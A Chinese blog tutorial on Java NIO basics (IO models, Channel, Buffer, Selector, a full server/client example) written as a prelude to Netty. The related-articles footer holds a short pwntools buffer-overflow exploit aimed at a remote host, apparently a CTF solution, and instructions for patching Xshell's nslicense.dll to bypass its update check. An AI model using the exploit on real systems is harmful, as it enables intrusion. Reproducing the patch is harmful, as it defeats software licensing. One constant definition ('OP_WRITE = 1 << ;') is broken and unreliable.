Netty之旅:你想要的NIO知识点,这里都有!
前言
这段时间也一直在学习Netty
相关知识,因为涉及知识点比较多,也走了不少弯路。目前网上关于Netty学习资料玲琅满目,不知如何下手,其实大家都是一样的,学习方法和技巧都是总结出来的,我们在没有找到很好的方法之前不如按部就班先从基础开始,一般从总分总的渐进方式,既观森林,又见草木。
之前恰巧跟杭州一个朋友小飞也提到过,两者在这方面的初衷是一致的,也希望更多的朋友能够加入一起学习和探讨。(PS:本篇文章是和小飞一起学习整理所得~)
Netty
是一款提供异步的、事件驱动的网络应用程序框架和工具,是基于NIO
客户端、服务器端的编程框架。所以这里我们先以NIO
和依赖相关的基础铺垫来进行剖析讲解,从而作为Netty
学习之旅的一个开端。
一、网络编程基础回顾
1. Socket
Socket
本身有“插座”的意思,不是Java中特有的概念,而是一个语言无关的标准,任何可以实现网络编程的编程语言都有Socket
。在Linux
环境下,用于表示进程间网络通信的特殊文件类型,其本质为内核借助缓冲区形成的伪文件。既然是文件,那么理所当然的,我们可以使用文件描述符引用套接字。
与管道类似的,Linux
系统将其封装成文件的目的是为了统一接口,使得读写套接字和读写文件的操作一致。区别是管道主要应用于本地进程间通信,而套接字多应用于网络进程间数据的传递。
可以这么理解:Socket
就是网络上的两个应用程序通过一个双向通信连接实现数据交换的编程接口API。
Socket
通信的基本流程具体步骤如下所示:
(1)服务端通过Listen
开启监听,等待客户端接入。
(2)客户端的套接字通过Connect
连接服务器端的套接字,服务端通过Accept
接收客户端连接。在connect-accept
过程中,操作系统将会进行三次握手。
(3)客户端和服务端通过write
和read
发送和接收数据,操作系统将会完成TCP
数据的确认、重发等步骤。
(4)通过close
关闭连接,操作系统会进行四次挥手。
针对Java编程语言,java.net
包是网络编程的基础类库。其中ServerSocket
和Socket
是网络编程的基础类型。
SeverSocket
是服务端应用类型。Socket
是建立连接的类型。当连接建立成功后,服务器和客户端都会有一个Socket
对象示例,可以通过这个Socket
对象示例,完成会话的所有操作。对于一个完整的网络连接来说,Socket
是平等的,没有服务器客户端分级情况。
2. IO模型介绍
对于一次IO操作,数据会先拷贝到内核空间中,然后再从内核空间拷贝到用户空间中,所以一次read
操作,会经历两个阶段:
(1)等待数据准备
(2)数据从内核空间拷贝到用户空间
基于以上两个阶段就产生了五种不同的IO模式。
- 阻塞IO:从进程发起IO操作,一直等待上述两个阶段完成,此时两阶段一起阻塞。
- 非阻塞IO:进程一直询问IO准备好了没有,准备好了再发起读取操作,这时才把数据从内核空间拷贝到用户空间。第一阶段不阻塞但要轮询,第二阶段阻塞。
- 多路复用IO:多个连接使用同一个select去询问IO准备好了没有,如果有准备好了的,就返回有数据准备好了,然后对应的连接再发起读取操作,把数据从内核空间拷贝到用户空间。两阶段分开阻塞。
- 信号驱动IO:进程发起读取操作会立即返回,当数据准备好了会以通知的形式告诉进程,进程再发起读取操作,把数据从内核空间拷贝到用户空间。第一阶段不阻塞,第二阶段阻塞。
- 异步IO:进程发起读取操作会立即返回,等到数据准备好且已经拷贝到用户空间了再通知进程拿数据。两个阶段都不阻塞。
这五种IO模式不难发现存在这两对关系:同步和异步、阻塞和非阻塞。那么稍微解释一下:
同步和异步
- 同步: 同步就是发起一个调用后,被调用者未处理完请求之前,调用不返回。
- 异步: 异步就是发起一个调用后,立刻得到被调用者的回应表示已接收到请求,但是被调用者并没有返回结果,此时我们可以处理其他的请求,被调用者通常依靠事件,回调等机制来通知调用者其返回结果。
同步和异步的区别最大在于异步的话调用者不需要等待处理结果,被调用者会通过回调等机制来通知调用者其返回结果。
阻塞和非阻塞
- 阻塞: 阻塞就是发起一个请求,调用者一直等待请求结果返回,也就是当前线程会被挂起,无法从事其他任务,只有当条件就绪才能继续。
- 非阻塞: 非阻塞就是发起一个请求,调用者不用一直等着结果返回,可以先去干其他事情。
阻塞和非阻塞是针对进程在访问数据的时候,根据IO操作的就绪状态来采取的不同方式,说白了是一种读取或者写入操作方法的实现方式,阻塞方式下读取或者写入函数将一直等待,而非阻塞方式下,读取或者写入方法会立即返回一个状态值。
如果组合后的同步阻塞(blocking-IO
)简称BIO
、同步非阻塞(non-blocking-IO
)简称NIO
和异步非阻塞(asynchronous-non-blocking-IO
)简称AIO
又代表什么意思呢?
- BIO (同步阻塞I/O模式): 数据的读取写入必须阻塞在一个线程内等待其完成。这里使用那个经典的烧开水例子,这里假设一个烧开水的场景,有一排水壶在烧开水,BIO的工作模式就是, 叫一个线程停留在一个水壶那,直到这个水壶烧开,才去处理下一个水壶。但是实际上线程在等待水壶烧开的时间段什么都没有做。
- NIO(同步非阻塞): 同时支持阻塞与非阻塞模式,但这里我们以其同步非阻塞I/O模式来说明,那么什么叫做同步非阻塞?如果还拿烧开水来说,NIO的做法是叫一个线程不断的轮询每个水壶的状态,看看是否有水壶的状态发生了改变,从而进行下一步的操作。
- AIO(异步非阻塞I/O模型): 异步非阻塞与同步非阻塞的区别在哪里?异步非阻塞无需一个线程去轮询所有IO操作的状态改变,在相应的状态改变后,系统会通知对应的线程来处理。对应到烧开水中就是,为每个水壶上面装了一个开关,水烧开之后,水壶会自动通知我水烧开了。
java
中的 BIO
、NIO
和AIO
理解为是 Java 语言
在操作系统层面对这三种 IO
模型的封装。程序员在使用这些 封装API 的时候,不需要关心操作系统层面的知识,也不需要根据不同操作系统编写不同的代码,只需要使用Java
的API就可以了。由此,为了使读者对这三种模型有个比较具体和递推式的了解,并且和本文主题NIO
有个清晰的对比,下面继续延伸。
Java BIO
BIO
编程方式通常是是Java的上古产品,自JDK 1.0-JDK1.4就有的东西。编程实现过程为:首先在服务端启动一个ServerSocket
来监听网络请求,客户端启动Socket
发起网络请求,默认情况下SeverSocket
会建立一个线程来处理此请求,如果服务端没有线程可用,客户端则会阻塞等待或遭到拒绝。服务器实现模式为一个连接一个线程,即客户端有连接请求时服务器端就需要启动一个线程进行处理。大致结构如下:
如果要让 BIO
通信模型能够同时处理多个客户端请求,就必须使用多线程(主要原因是 socket.accept()
、socket.read()
、 socket.write()
涉及的三个主要函数都是同步阻塞的),也就是说它在接收到客户端连接请求之后为每个客户端创建一个新的线程进行链路处理,处理完成之后,通过输出流返回应答给客户端,线程销毁。这就是典型的 一请求一应答通信模型 。我们可以设想一下如果这个连接不做任何事情的话就会造成不必要的线程开销,不过可以通过线程池机制改善,线程池还可以让线程的创建和回收成本相对较低。使用线程池机制改善后的 BIO
模型图如下:
BIO
方式适用于连接数目比较小且固定的架构,这种方式对服务器资源要求比较高,并发局限于应用中,是JDK1.4以前的唯一选择,但程序直观简单易懂。Java BIO
编程示例网上很多,这里就不进行coding举例了,毕竟后面NIO
才是重点。
Java NIO
NIO
(New IO或者No-Blocking IO),从JDK1.4 开始引入的非阻塞IO
,是一种非阻塞
+ 同步
的通信模式。这里的No Blocking IO
用于区分上面的BIO
。
NIO
本身想解决 BIO
的并发问题,通过Reactor模式
的事件驱动机制来达到Non Blocking
的。当 socket
有流可读或可写入 socket
时,操作系统会相应的通知应用程序进行处理,应用再将流读取到缓冲区或写入操作系统。
也就是说,这个时候,已经不是一个连接就 要对应一个处理线程了,而是有效的请求,对应一个线程,当连接没有数据时,是没有工作线程来处理的。
当一个连接创建后,不需要对应一个线程,这个连接会被注册到 多路复用器
上面,所以所有的连接只需要一个线程就可以搞定,当这个线程中的多路复用器
进行轮询的时候,发现连接上有请求的话,才开启一个线程进行处理,也就是一个请求一个线程模式。
NIO
提供了与传统BIO模型中的Socket
和ServerSocket
相对应的SocketChannel
和ServerSocketChannel
两种不同的套接字通道实现,如下图结构所示。这里涉及的Reactor
设计模式、多路复用Selector
、Buffer
等暂时不用管,后面会讲到。
NIO 方式适用于连接数目多且连接比较短(轻操作)的架构,比如聊天服务器,并发局 限于应用中,编程复杂,JDK1.4 开始支持。同时,NIO
和普通IO的区别主要可以从存储数据的载体、是否阻塞等来区分:
Java AIO
与 NIO
不同,当进行读写操作时,只须直接调用 API 的 read
或 write
方法即可。这两种方法均为异步的,对于读操作而言,当有流可读取时,操作系统会将可读的流传入 read
方 法的缓冲区,并通知应用程序;对于写操作而言,当操作系统将 write
方法传递的流写入完毕时,操作系统主动通知应用程序。即可以理解为,read/write
方法都是异步的,完成后会主动调用回调函数。在 JDK7
中,提供了异步文件通道和异步套接字通道的实现,这部分内容被称作 NIO
.
AIO
方式使用于连接数目多且连接比较长(重操作)的架构,比如相册服务器,充分调用 OS
参与并发操作,编程比较复杂,JDK7
开始支持。
目前来说 AIO
的应用还不是很广泛,Netty
之前也尝试使用过 AIO
,不过又放弃了。
二、NIO核心组件介绍
1. Channel
在NIO
中,基本所有的IO操作都是从Channel
开始的,Channel
通过Buffer(缓冲区)
进行读写操作。
read()
表示读取通道中数据到缓冲区,write()
表示把缓冲区数据写入到通道。
Channel
有好多实现类,这里有三个最常用:
SocketChannel
:一个客户端发起TCP连接的ChannelServerSocketChannel
:一个服务端监听新连接的TCP Channel,对于每一个新的Client连接,都会建立一个对应的SocketChannelFileChannel
:从文件中读写数据
其中SocketChannel
和ServerSocketChannel
是网络编程中最常用的,一会在最后的示例代码中会有讲解到具体用法。
2. Buffer
概念
Buffer
也被成为内存缓冲区,本质上就是内存中的一块,我们可以将数据写入这块内存,之后从这块内存中读取数据。也可以将这块内存封装成NIO Buffer
对象,并提供一组常用的方法,方便我们对该块内存进行读写操作。
Buffer
在java.nio
中被定义为抽象类:
我们可以将Buffer
理解为一个数组的封装,我们最常用的ByteBuffer
对应的数据结构就是byte[]
属性
Buffer
中有4个非常重要的属性:capacity、limit、position、mark
capacity
属性:容量,Buffer能够容纳的数据元素的最大值,在Buffer初始化创建的时候被赋值,而且不能被修改。
上图中,初始化Buffer的容量为8(图中从0~7,共8个元素),所以capacity = 8
limit
属性:代表Buffer可读可写的上限。- 写模式下:
limit
代表能写入数据的上限位置,这个时候limit = capacity
读模式下:在Buffer
完成所有数据写入后,通过调用flip()
方法,切换到读模式,此时limit
等于Buffer
中实际已经写入的数据大小。因为Buffer
可能没有被写满,所以limit<=capacity
- 写模式下:
position
属性:代表读取或者写入Buffer
的位置。默认为0。- 写模式下:每往
Buffer
中写入一个值,position
就会自动加1,代表下一次写入的位置。 - 读模式下:每往
Buffer
中读取一个值,position
就自动加1,代表下一次读取的位置。
- 写模式下:每往
从上图就能很清晰看出,读写模式下capacity、limit、position的关系了。
mark
属性:代表标记,通过mark()方法,记录当前position值,将position值赋值给mark,在后续的写入或读取过程中,可以通过reset()方法恢复当前position为mark记录的值。
这几个重要属性讲完,我们可以再来回顾下:
0 <= mark <= position <= limit <= capacity
现在应该很清晰这几个属性的关系了~
Buffer常见操作
创建Buffer
allocate(int capacity)
ByteBuffer buffer = ByteBuffer.allocate(1024);
int count = channel.read(buffer);
例子中创建的ByteBuffer
是基于堆内存的一个对象。
wrap(array)
wrap
方法可以将数组包装成一个Buffer
对象:
ByteBuffer buffer = ByteBuffer.wrap("hello world".getBytes());
channel.write(buffer);
allocateDirect(int capacity)
通过allocateDirect
方法也可以快速实例化一个Buffer
对象,和allocate
很相似,这里区别的是allocateDirect
创建的是基于堆外内存的对象。
堆外内存不在JVM堆上,不受GC的管理。堆外内存进行一些底层系统的IO操作时,效率会更高。
Buffer写操作
Buffer
写入可以通过put()
和channel.read(buffer)
两种方式写入。
通常我们NIO的读操作的时候,都是从Channel
中读取数据写入Buffer
,这个对应的是Buffer
的写操作。
Buffer读操作
Buffer
读取可以通过get()
和channel.write(buffer)
两种方式读入。
还是同上,我们对Buffer
的读入操作,反过来说就是对Channel
的写操作。读取Buffer
中的数据然后写入Channel
中。
其他常见方法
rewind()
:重置position位置为0,可以重新读取和写入buffer,一般该方法适用于读操作,可以理解为对buffer的重复读。
public final Buffer rewind() {position = 0;mark = -1;return this;
}
flip()
:很常用的一个方法,一般在写模式切换到读模式的时候会经常用到。也会将position设置为0,然后设置limit等于原来写入的position。
public final Buffer flip() {limit = position;position = 0;mark = -1;return this;
}
clear()
:重置buffer中的数据,该方法主要是针对于写模式,因为limit设置为了capacity,读模式下会出问题。
public final Buffer clear() {position = 0;limit = capacity;mark = -1;return this;
}
mark()&reset()
:mark()
方法是保存当前position
到变量mark
z中,然后通过reset()
方法恢复当前position
为mark
,实现代码很简单,如下:
public final Buffer mark() {mark = position;return this;
}public final Buffer reset() {int m = mark;if (m < 0)throw new InvalidMarkException();position = m;return this;
}
常用的读写方法可以用一张图总结一下:
3. Selector
概念
Selector
是NIO中最为重要的组件之一,我们常常说的多路复用器
就是指的Selector
组件。Selector
组件用于轮询一个或多个NIO Channel
的状态是否处于可读、可写。通过轮询的机制就可以管理多个Channel,也就是说可以管理多个网络连接。
轮询机制
- 首先,需要将Channel注册到Selector上,这样Selector才知道需要管理哪些Channel
- 接着Selector会不断轮询其上注册的Channel,如果某个Channel发生了读或写的时间,这个Channel就会被Selector轮询出来,然后通过SelectionKey可以获取就绪的Channel集合,进行后续的IO操作。
属性操作
- 创建Selector
通过open()
方法,我们可以创建一个Selector
对象。
Selector selector = Selector.open();
- 注册Channel到Selector中
我们需要将Channel
注册到Selector
中,才能够被Selector
管理。
channel.configureBlocking(false);
SelectionKey key = channel.register(selector, SelectionKey.OP_READ);
某个Channel
要注册到Selector
中,那么该Channel必须是非阻塞,所有上面代码中有个configureBlocking()
的配置操作。
在register(Selector selector, int interestSet)
方法的第二个参数,标识一个interest
集合,意思是Selector对哪些事件感兴趣,可以监听四种不同类型的事件:
public static final int OP_READ = 1 << 0;
public static final int OP_WRITE = 1 << ;
public static final int OP_CONNECT = 1 << 3;
public static final int OP_ACCEPT = 1 << 4;
Connect事件
:连接完成事件( TCP 连接 ),仅适用于客户端,对应 SelectionKey.OP_CONNECT。Accept事件
:接受新连接事件,仅适用于服务端,对应 SelectionKey.OP_ACCEPT 。Read事件
:读事件,适用于两端,对应 SelectionKey.OP_READ ,表示 Buffer 可读。Write事件
:写时间,适用于两端,对应 SelectionKey.OP_WRITE ,表示 Buffer 可写。
Channel
触发了一个事件,表明该时间已经准备就绪:
- 一个Client Channel成功连接到另一个服务器,成为“连接就绪”
- 一个Server Socket准备好接收新进入的接,称为“接收就绪”
- 一个有数据可读的Channel,称为“读就绪”
- 一个等待写数据的Channel,称为”写就绪“
当然,Selector
是可以同时对多个事件感兴趣的,我们使用或运算即可组合多个事件:
int interestSet = SelectionKey.OP_READ | SelectionKey.OP_WRITE;
Selector其他一些操作
选择Channel
public abstract int select() throws IOException;
public abstract int select(long timeout) throws IOException;
public abstract int selectNow() throws IOException;
当Selector执行select()
方法就会产生阻塞,等到注册在其上的Channel准备就绪就会立即返回,返回准备就绪的数量。
select(long timeout)
则是在select()
的基础上增加了超时机制。selectNow()
立即返回,不产生阻塞。
有一点非常需要注意: select
方法返回的 int
值,表示有多少 Channel
已经就绪。
自上次调用select
方法后有多少 Channel
变成就绪状态。如果调用 select
方法,因为有一个 Channel
变成就绪状态则返回了 1 ;
若再次调用 select
方法,如果另一个 Channel
就绪了,它会再次返回1。
获取可操作的Channel
Set selectedKeys = selector.selectedKeys();
当有新增就绪的Channel
,调用select()
方法,就会将key添加到Set集合中。
三、代码示例
前面铺垫了这么多,主要是想让大家能够看懂NIO
代码示例,也方便后续大家来自己手写NIO
网络编程的程序。创建NIO服务端的主要步骤如下:
1. 打开ServerSocketChannel,监听客户端连接 2. 绑定监听端口,设置连接为非阻塞模式 3. 创建Reactor线程,创建多路复用器并启动线程 4. 将ServerSocketChannel注册到Reactor线程中的Selector上,监听ACCEPT事件 5. Selector轮询准备就绪的key 6. Selector监听到新的客户端接入,处理新的接入请求,完成TCP三次握手,建立物理链路 7. 设置客户端链路为非阻塞模式 8. 将新接入的客户端连接注册到Reactor线程的Selector上,监听读操作,读取客户端发送的网络消息 9. 异步读取客户端消息到缓冲区 10.对Buffer编解码,处理半包消息,将解码成功的消息封装成Task 11.将应答消息编码为Buffer,调用SocketChannel的write将消息异步发送给客户端
NIOServer.java
:
public class NIOServer {private static Selector selector;public static void main(String[] args) {init();listen();}private static void init() {ServerSocketChannel serverSocketChannel = null;try {selector = Selector.open();serverSocketChannel = ServerSocketChannel.open();serverSocketChannel.configureBlocking(false);serverSocketChannel.socket().bind(new InetSocketAddress(9000));serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);System.out.println("NioServer 启动完成");} catch (IOException e) {e.printStackTrace();}}private static void listen() {while (true) {try {selector.select();Iterator<SelectionKey> keysIterator = selector.selectedKeys().iterator();while (keysIterator.hasNext()) {SelectionKey key = keysIterator.next();keysIterator.remove();handleRequest(key);}} catch (Throwable t) {t.printStackTrace();}}}private static void handleRequest(SelectionKey key) throws IOException {SocketChannel channel = null;try {if (key.isAcceptable()) {ServerSocketChannel serverSocketChannel = (ServerSocketChannel) key.channel();channel = serverSocketChannel.accept();channel.configureBlocking(false);System.out.println("接受新的 Channel");channel.register(selector, SelectionKey.OP_READ);}if (key.isReadable()) {channel = (SocketChannel) key.channel();ByteBuffer buffer = ByteBuffer.allocate(1024);int count = channel.read(buffer);if (count > 0) {System.out.println("服务端接收请求:" + new String(buffer.array(), 0, count));channel.register(selector, SelectionKey.OP_WRITE);}}if (key.isWritable()) {ByteBuffer buffer = ByteBuffer.allocate(1024);buffer.put("收到".getBytes());buffer.flip();channel = (SocketChannel) key.channel();channel.write(buffer);channel.register(selector, SelectionKey.OP_READ);}} catch (Throwable t) {t.printStackTrace();if (channel != null) {channel.close();}}}
}
NIOClient.java
:
public class NIOClient {public static void main(String[] args) {new Worker().start();}static class Worker extends Thread {@Overridepublic void run() {SocketChannel channel = null;Selector selector = null;try {channel = SocketChannel.open();channel.configureBlocking(false);selector = Selector.open();channel.register(selector, SelectionKey.OP_CONNECT);channel.connect(new InetSocketAddress(9000));while (true) {selector.select();Iterator<SelectionKey> keysIterator = selector.selectedKeys().iterator();while (keysIterator.hasNext()) {SelectionKey key = keysIterator.next();keysIterator.remove();if (key.isConnectable()) {System.out.println();channel = (SocketChannel) key.channel();if (channel.isConnectionPending()) {channel.finishConnect();ByteBuffer buffer = ByteBuffer.allocate(1024);buffer.put("你好".getBytes());buffer.flip();channel.write(buffer);}channel.register(selector, SelectionKey.OP_READ);}if (key.isReadable()) {channel = (SocketChannel) key.channel();ByteBuffer buffer = ByteBuffer.allocate(1024);int len = channel.read(buffer);if (len > 0) {System.out.println("[" + Thread.currentThread().getName()+ "]收到响应:" + new String(buffer.array(), 0, len));Thread.sleep(5000);channel.register(selector, SelectionKey.OP_WRITE);}}if(key.isWritable()) {ByteBuffer buffer = ByteBuffer.allocate(1024);buffer.put("你好".getBytes());buffer.flip();channel = (SocketChannel) key.channel();channel.write(buffer);channel.register(selector, SelectionKey.OP_READ);}}}} catch (Exception e) {e.printStackTrace();} finally{if(channel != null){try {channel.close();} catch (IOException e) {e.printStackTrace();}}if(selector != null){try {selector.close();} catch (IOException e) {e.printStackTrace();}}}}}
}
打印结果:
// Server端
NioServer 启动完成
接受新的 Channel
服务端接收请求:你好
服务端接收请求:你好
服务端接收请求:你好// Client端
[Thread-0]收到响应:收到
[Thread-0]收到响应:收到
[Thread-0]收到响应:收到
四、总结
回顾一下使用 NIO
开发服务端程序的步骤:
- 创建
ServerSocketChannel
和业务处理线程池。 - 绑定监听端口,并配置为非阻塞模式。
- 创建
Selector
,将之前创建的ServerSocketChannel
注册到Selector
上,监听SelectionKey.OP_ACCEPT
。 - 循环执行
Selector.select()`` 方法,轮询就绪的
Channel`。 - 轮询就绪的
Channel
时,如果是处于OP_ACCEPT
状态,说明是新的客户端接入,调用ServerSocketChannel.accept
接收新的客户端。 - 设置新接入的
SocketChannel
为非阻塞模式,并注册到Selector
上,监听OP_READ
。 - 如果轮询的
Channel
状态是OP_READ
,说明有新的就绪数据包需要读取,则构造ByteBuffer
对象,读取数据。
那从这些步骤中基本知道开发者需要熟悉的知识点有:
jdk-nio
提供的几个关键类:Selector
,SocketChannel
,ServerSocketChannel
,FileChannel
,ByteBuffer
,SelectionKey
- 需要知道网络知识:tcp粘包拆包 、网络闪断、包体溢出及重复发送等
- 需要知道
linux
底层实现,如何正确的关闭channel
,如何退出注销selector
,如何避免selector
太过于频繁 - 需要知道如何让
client
端获得server
端的返回值,然后才返回给前端,需要如何等待或在怎样作熔断机制 - 需要知道对象序列化,及序列化算法
- 省略等等,因为我已经有点不舒服了,作为程序员的我习惯了舒舒服服简单的API,不用太知道底层细节,就能写出比较健壮和没有Bug的代码...
NIO 原生 API 的弊端 :
① NIO 组件复杂 : 使用原生 NIO
开发服务器端与客户端 , 需要涉及到 服务器套接字通道 ( ServerSocketChannel
) , 套接字通道 ( SocketChannel
) , 选择器 ( Selector
) , 缓冲区 ( ByteBuffer
) 等组件 , 这些组件的原理 和API 都要熟悉 , 才能进行 NIO
的开发与调试 , 之后还需要针对应用进行调试优化
② NIO 开发基础 : NIO
门槛略高 , 需要开发者掌握多线程、网络编程等才能开发并且优化 NIO
网络通信的应用程序
③ 原生 API 开发网络通信模块的基本的传输处理 : 网络传输不光是实现服务器端和客户端的数据传输功能 , 还要处理各种异常情况 , 如 连接断开重连机制 , 网络堵塞处理 , 异常处理 , 粘包处理 , 拆包处理 , 缓存机制 等方面的问题 , 这是所有成熟的网络应用程序都要具有的功能 , 否则只能说是入门级的 Demo
④ NIO BUG : NIO
本身存在一些 BUG , 如 Epoll
, 导致 选择器 ( Selector
) 空轮询 , 在 JDK 1.7 中还没有解决
Netty
在 NIO
的基础上 , 封装了 Java 原生的 NIO API
, 解决了上述哪些问题呢 ?
相比 Java NIO,使用 Netty
开发程序,都简化了哪些步骤呢?...等等这系列问题也都是我们要问的问题。不过因为这篇只是介绍NIO
相关知识,没有介绍Netty API
的使用,所以介绍Netty API
使用简单开发门槛低等优点有点站不住脚。那么就留到后面跟大家一起开启Netty
学习之旅,探讨人人说好的Netty
到底是不是江湖传言的那么好。
一起期待后续的Netty
之旅吧!
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
相关文章
- 类和动态内存分配 默认复制构造函数 默认的赋值运算符 = 在构造函数中使用new时应注意的事项 有关返回对象的说明 成员初始化列表
...
2024/4/29 21:05:11 - 数字货币的负责人又开始发言了
Visa加密负责人库伊谢菲尔德(Cuy Sheffield)在推特上提出了一个问题:如果你现在16岁,能够以自由开发者或设计师的身份在互联网上赚钱,而且希望能在无需父母同意和控制的情况下获得客户支付的报酬,并且尝试储蓄、投资和花费自己的前,你会使用什么金融服务呢?对于这个问题…...
2024/4/30 22:17:02 - Uncaught SyntaxError: Unexpected token ‘.‘错误解决
解析错误原因Uncaught SyntaxError: Unexpected token .当你遇到这个错误时,首先翻译看他什么意思: Uncaught SyntaxError:意外的标记“.” 小二非常菜,这种问题甚至都是第一次见。(小声bb:可能以前见过忘了) 现在我可以很负责任的告诉大家, 遇到SyntaxError,一定是js的…...
2024/4/15 20:42:42 - 新建一个react项目
1、安装node.js 官网地址 2、安装npm npm安装较慢,建议更换淘宝源,或者安装cnpm npm install -g cnpm --registry=https://registry.npm.taobao.org 3、安装yarn cnpm install -g yarn 4.创建react项目安装脚手架cnpm install -g create-react-app 或者 npm install -g crea…...
2024/4/29 22:14:51 - Vue从零开始(3):创建页面+添加路由+Mock模拟数据
前言本来这篇想讲讲怎么打包项目的,但是刚好最近在做一个后台维护的前端项目,然后想想打包这部分可以往后放一放,可以先通过这个项目讲一讲怎么创建页面、添加路由然后如何使用Mock模拟数据。上一篇大家对于Vue CLI搭建脚手架有了一些了解,这篇介绍一款比较容易上手的企业级…...
2024/4/23 18:39:23 - (三)小程序 bindtap 和 catchtap
区别:bindtap 有事件冒泡 catchtap 没有事件冒泡(1)bindtap<view hover-class="import" bindtap="getTarget">parent<view bindtap="getTarget">children</view></view>点击子元素,会触发自己以及父元素的点击事件 …...
2024/4/30 19:17:24 - 8- app如何修改包名
8- app如何修改包名其实这个还真的挺简单; 我们都知道, 1- 包名相同,直接覆盖(签名相同) 2- 包名不同,两个应用 所以为了比较版本不同,测试比较方便就需要在同一个手机上安装两个不同版本的同一个APP; 如何解决:让他两的包名不同就可以了; 改变包名—》两步走:1- ra…...
2024/4/30 22:07:39 - 【路径学习】Context详解
Context概述 Context负责Activity,Service,Intent,资源,Package和权限:启动Activity启动和停止Service发送广播 消息注册广播消息接受者访问APK中各种资源访问Package的相关信息APK的各种权限管理Context继承关系Context个数 Context个数=Activity数+Service数+1(Applicat…...
2024/4/20 3:05:30 - H5新增属性
H5新增属 (1)manifest属性:定义页面需要用到的离线应用文件,一般放在标签里 (2)charset属性:meta属性之一,定义页面的字符集 (3)sizes属性: 新增属性,当link的rel="icon"时,用以设置图标大小 (4)base属性: 表示当在新窗口打开一个页面时,会将href中的…...
2024/4/15 20:42:36 - 关于elementUI中,表格el-table在ie中宽度不为100%的问题
可以在相应的页面中不添加任何前缀添加以下css,即可适应全局的表格 //关于ie下表格宽度不为100%的问题 .el-table__header{width: 100% !important; } .el-table__body{width: 100% !important; }...
2024/4/15 20:42:35 - 4.forgot
from pwn import * p=remote(220.249.52.133,49466) p.recvuntil("> ") p.sendline(A) payload=A*32+p32(0x080486cc) p.recvuntil("> ") p.sendline(payload)print p.recvall()...
2024/4/15 20:42:39 - 网络通信与便携式应用驱动SRAM技术发展
数据通信和便携式系统成为当今SRAM的重要应用领域。某些SRAM由于能够提供实现较高带宽所需的性能(比如在网络系统中)或维持较长电池使用寿命所需的低功耗(比如在便携式设备中)而在许多应用中起着主导作用。这些架构指的是面向高性能应用的NoBL (无总线延迟)和QDR (四倍数据速率…...
2024/4/25 19:27:02 - jq子页面取值赋值给父页面数据
//父窗口 <input type="text" name="no" id="no"/>//子窗口 <input type="radio" name="no" value="1"/> <input type="radio" name="no" value="2"/> <butt…...
2024/4/25 6:23:16 - xshell6 要继续使用此程序,您必须应用最新的更新或使用新版本
1、xshell文件目录中找到文件 nslicense.dll2、下载UltraEdit编辑工具,将nslicense.dll拖入此工具打开dll文件3、ctrl+f 搜索 7F 0C 81 F9 80 33 E1 01 0F 86 81 ,将86改为83,ctrl+s保存,xshell6已经可以正常打开,...
2024/4/28 14:54:14 - Reactor 3 (9): 并发和调度器 Schedulers、publishOn、subscribeOn
Stream中的并行处理非常简单,只要加上parallel(),就可以将stream并行化:@Testpublic void streamParallel () {Stream.of(1,2,3,4,5,6,7,8).parallel().map(String::valueOf).forEach(log::info);} }根据结果中线程使用情况可知这种操作就完成了stream的并行化:Reactor的并…...
2024/4/29 10:52:34 - MyOS 之 基础图形库
能够在240*320的屏幕上画出矩形,包括实心的,空心的,各种颜色,边框暂不考虑。...
2024/4/28 18:12:12 - 细解SimpleDateFormat
其实,作为一名Java 程序员,我们会经常在编程时候和时间打交道,比如要把某一个时间存储到数据库中去,而我们直接使用Datedate = newDate(); System.out.println(date);得到的时间都是这样的SunJun 07 17:22:52CST 2020因此,我们经常需要把时间进行格式化处理,然后在进行存…...
2024/4/30 22:51:27 - kmp一道唬人题
P - Period II 描述 For each prefix with length P of a given string S,if S[i]=S[i+P] for i in [0…SIZE(S)-p-1], then the prefix is a “period” of S. We want to all the periodic prefixs. Input Input contains multiple cases. The first line contains an intege…...
2024/4/27 1:18:22 - Spring中JdbcTemplate的用法07
Spring中JdbcTemplate的用法07JdbcTemplate的作用:他就是用于和数据库的交互,实现对表的CRUD操作Jdbc的最基本操作import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.datasource.DriverManagerDataSource; /*** jabcTemplate的最基本…...
2024/4/23 23:15:29 - 判断两个字符串是否为字母异位词的三种思路及JAVA代码
package day06;import java.util.Arrays; import java.util.HashMap; import java.util.Map;//给定两个字符串 s 和 t ,编写一个函数来判断 t 是否是 s 的字母异位词。 public class IsAnagram {public static void main(String[] args) {String s = "anagram";Stri…...
2024/4/20 12:02:52
最新文章
- Windows Server 2019/2022 开启
我的环境是Windows Serve 2022 Datacenter, 21H2, 需要使用Hyper-V 与 VMWare Workstation共存,但是在服务器管理器中找不到Windows Hypervisor Platform安装选项。在Win10中是启动关闭Windows功能中,而server中找不到。 解决方法: 以管理员…...
2024/5/1 1:11:27 - 梯度消失和梯度爆炸的一些处理方法
在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...
2024/3/20 10:50:27 - 如何训练自己的ChatGPT?需要多少训练数据?
近年,聊天机器人已经是很常见的AI技术。小度、siri、以及越来越广泛的机器人客服,都是聊天机器人的重要适用领域。然而今年,ChatGPT的面世让这一切都进行到一个全新的高度,也掀起了大语言模型(LLM)的热潮。…...
2024/4/29 19:02:42 - 深入浅出 -- 系统架构之微服务中Nacos的部署
前面我们提到过,在微服务架构中,Nacos注册中心属于核心组件,通常我们会采用高性能独立服务器进行部署,下面我们一起来看看Nacos部署过程: 1、环境准备 因为Nacos是支持windows和Linux系统的,且服务器操作…...
2024/4/29 19:41:47 - 6.9物联网RK3399项目开发实录-驱动开发之PWM的使用(wulianjishu666)
嵌入式实战开发例程,珍贵资料,开发必备: 链接:https://pan.baidu.com/s/1149x7q_Yg6Zb3HN6gBBAVA?pwdhs8b PWM 使用 前言 AIO-3399J 开发板上有 4 路 PWM 输出,分别为 PWM0 ~ PWM3,4 路 PWM 分别使用在…...
2024/4/30 3:30:01 - 416. 分割等和子集问题(动态规划)
题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义:dp[i][j]表示当背包容量为j,用前i个物品是否正好可以将背包填满ÿ…...
2024/4/30 9:36:27 - 【Java】ExcelWriter自适应宽度工具类(支持中文)
